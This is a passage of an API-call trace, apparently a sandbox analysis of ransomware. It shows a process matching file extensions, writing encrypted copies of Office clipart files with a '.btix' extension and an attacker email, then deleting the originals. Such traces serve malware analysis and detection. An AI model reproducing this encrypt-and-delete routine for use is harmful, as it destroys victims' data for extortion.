4 [0150.536] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.536] lstrlenW (lpString=".docx") returned 5 [0150.536] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0150.536] lstrlenW (lpString=".pdf") returned 4 [0150.536] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.536] lstrlenW (lpString=".xls") returned 4 [0150.536] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.536] lstrlenW (lpString=".xlsx") returned 5 [0150.536] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0150.536] lstrlenW (lpString=".ppt") returned 4 [0150.536] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0150.536] lstrlenW (lpString=".zip") returned 4 [0150.536] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.536] lstrlenW (lpString=".rar") returned 4 [0150.536] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.536] lstrlenW (lpString=".bz2") returned 4 [0150.536] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.536] lstrlenW (lpString=".7z") returned 3 [0150.536] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0150.536] lstrlenW (lpString=".dbf") returned 4 [0150.536] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0150.536] lstrlenW (lpString=".1cd") returned 4 [0150.536] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0150.536] lstrlenW (lpString=".jpg") returned 4 [0150.536] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0150.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0150.537] lstrlenW (lpString=".doc") returned 4 [0150.537] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.537] lstrlenW (lpString=".docx") returned 5 [0150.537] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0150.537] lstrlenW (lpString=".pdf") returned 4 [0150.537] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.537] lstrlenW (lpString=".xls") returned 4 [0150.537] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.537] lstrlenW (lpString=".xlsx") returned 5 [0150.537] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0150.537] lstrlenW (lpString=".ppt") returned 4 [0150.537] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0150.537] lstrlenW (lpString=".zip") returned 4 [0150.537] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.537] lstrlenW (lpString=".rar") returned 4 [0150.537] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.537] lstrlenW (lpString=".bz2") returned 4 [0150.537] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.537] lstrlenW (lpString=".7z") returned 3 [0150.537] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0150.537] lstrlenW (lpString=".dbf") returned 4 [0150.537] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0150.537] lstrlenW (lpString=".1cd") returned 4 [0150.537] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0150.537] lstrlenW (lpString=".jpg") returned 4 [0150.538] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.538] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0150.538] lstrlenW (lpString="J0099195.GIF") returned 12 [0150.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.538] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=19923) returned 1 [0150.538] CloseHandle (hObject=0x348) returned 1 [0150.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 0x220 [0150.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.539] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.539] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.539] GetLastError () returned 0x0 [0150.539] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x4dd3, lpOverlapped=0x0) returned 1 [0150.540] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x4de0, lpOverlapped=0x0) returned 1 [0150.541] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.541] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.541] SetEndOfFile (hFile=0x378) returned 1 [0150.542] CloseHandle (hObject=0x378) returned 1 [0150.542] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.542] SetEndOfFile (hFile=0x348) returned 1 [0150.542] CloseHandle (hObject=0x348) returned 1 [0150.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0150.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0150.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0150.543] lstrlenW (lpString=".doc") returned 4 [0150.543] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.543] lstrlenW (lpString=".docx") returned 5 [0150.543] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0150.543] lstrlenW (lpString=".pdf") returned 4 [0150.543] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.543] lstrlenW (lpString=".xls") returned 4 [0150.543] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.543] lstrlenW (lpString=".xlsx") returned 5 [0150.543] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0150.543] lstrlenW (lpString=".ppt") returned 4 [0150.543] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0150.543] lstrlenW (lpString=".zip") returned 4 [0150.543] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.543] lstrlenW (lpString=".rar") returned 4 [0150.544] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.544] lstrlenW (lpString=".bz2") returned 4 [0150.544] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.544] lstrlenW (lpString=".7z") returned 3 [0150.544] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0150.544] lstrlenW (lpString=".dbf") returned 4 [0150.544] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0150.544] lstrlenW (lpString=".1cd") returned 4 [0150.544] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0150.544] lstrlenW (lpString=".jpg") returned 4 [0150.544] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0150.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0150.544] lstrlenW (lpString=".doc") returned 4 [0150.544] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.544] lstrlenW (lpString=".docx") returned 5 [0150.544] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0150.544] lstrlenW (lpString=".pdf") returned 4 [0150.544] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.544] lstrlenW (lpString=".xls") returned 4 [0150.544] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.544] lstrlenW (lpString=".xlsx") returned 5 [0150.544] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0150.544] lstrlenW (lpString=".ppt") returned 4 [0150.544] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0150.545] lstrlenW (lpString=".zip") returned 4 [0150.545] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.545] lstrlenW (lpString=".rar") returned 4 [0150.545] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.545] lstrlenW (lpString=".bz2") returned 4 [0150.545] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.545] lstrlenW (lpString=".7z") returned 3 [0150.545] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0150.545] lstrlenW (lpString=".dbf") returned 4 [0150.545] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0150.545] lstrlenW (lpString=".1cd") returned 4 [0150.545] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0150.545] lstrlenW (lpString=".jpg") returned 4 [0150.545] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.545] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0150.545] lstrlenW (lpString="J0099196.GIF") returned 12 [0150.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.545] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=14337) returned 1 [0150.545] CloseHandle (hObject=0x348) returned 1 [0150.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 0x220 [0150.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.546] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.546] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.546] GetLastError () returned 0x0 [0150.546] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x3801, lpOverlapped=0x0) returned 1 [0150.791] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3810, lpOverlapped=0x0) returned 1 [0151.095] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.095] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.095] SetEndOfFile (hFile=0x378) returned 1 [0151.096] CloseHandle (hObject=0x378) returned 1 [0151.096] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.096] SetEndOfFile (hFile=0x348) returned 1 [0151.096] CloseHandle (hObject=0x348) returned 1 [0151.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0151.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0151.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0151.097] lstrlenW (lpString=".doc") returned 4 [0151.097] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0151.097] lstrlenW (lpString=".docx") returned 5 [0151.097] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0151.097] lstrlenW (lpString=".pdf") returned 4 [0151.097] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0151.097] lstrlenW (lpString=".xls") returned 4 [0151.097] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0151.097] lstrlenW (lpString=".xlsx") returned 5 [0151.097] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0151.098] lstrlenW (lpString=".ppt") returned 4 [0151.098] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0151.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0151.098] lstrlenW (lpString=".zip") returned 4 [0151.098] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0151.098] lstrlenW (lpString=".rar") returned 4 [0151.098] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0151.098] lstrlenW (lpString=".bz2") returned 4 [0151.098] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0151.098] lstrlenW (lpString=".7z") returned 3 [0151.098] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0151.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0151.098] lstrlenW (lpString=".dbf") returned 4 [0151.098] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0151.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0151.098] lstrlenW (lpString=".1cd") returned 4 [0151.098] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0151.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0151.098] lstrlenW (lpString=".jpg") returned 4 [0151.098] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0151.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0151.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0151.098] lstrlenW (lpString=".doc") returned 4 [0151.098] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0151.098] lstrlenW (lpString=".docx") returned 5 [0151.098] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0151.098] lstrlenW (lpString=".pdf") returned 4 [0151.098] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0151.098] lstrlenW (lpString=".xls") returned 4 [0151.098] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0151.099] lstrlenW (lpString=".xlsx") returned 5 [0151.099] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0151.099] lstrlenW (lpString=".ppt") returned 4 [0151.099] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0151.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0151.099] lstrlenW (lpString=".zip") returned 4 [0151.099] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0151.099] lstrlenW (lpString=".rar") returned 4 [0151.099] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0151.099] lstrlenW (lpString=".bz2") returned 4 [0151.099] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0151.099] lstrlenW (lpString=".7z") returned 3 [0151.099] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0151.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0151.099] lstrlenW (lpString=".dbf") returned 4 [0151.099] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0151.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0151.099] lstrlenW (lpString=".1cd") returned 4 [0151.099] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0151.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0151.099] lstrlenW (lpString=".jpg") returned 4 [0151.099] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0151.099] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0151.099] lstrlenW (lpString="J0101856.BMP") returned 12 [0151.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.100] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=78840) returned 1 [0151.100] CloseHandle (hObject=0x348) returned 1 [0151.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220 [0151.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.100] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.100] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0151.101] GetLastError () returned 0x0 [0151.101] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x133f8, lpOverlapped=0x0) returned 1 [0151.102] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x13400, lpOverlapped=0x0) returned 1 [0151.104] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.104] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.104] SetEndOfFile (hFile=0x378) returned 1 [0151.104] CloseHandle (hObject=0x378) returned 1 [0151.105] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.105] SetEndOfFile (hFile=0x348) returned 1 [0151.106] CloseHandle (hObject=0x348) returned 1 [0151.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0151.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0151.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0151.106] lstrlenW (lpString=".doc") returned 4 [0151.106] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.106] lstrlenW (lpString=".docx") returned 5 [0151.106] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0151.106] lstrlenW (lpString=".pdf") returned 4 [0151.106] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.106] lstrlenW (lpString=".xls") returned 4 [0151.106] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.106] lstrlenW (lpString=".xlsx") returned 5 [0151.106] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0151.106] lstrlenW (lpString=".ppt") returned 4 [0151.106] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 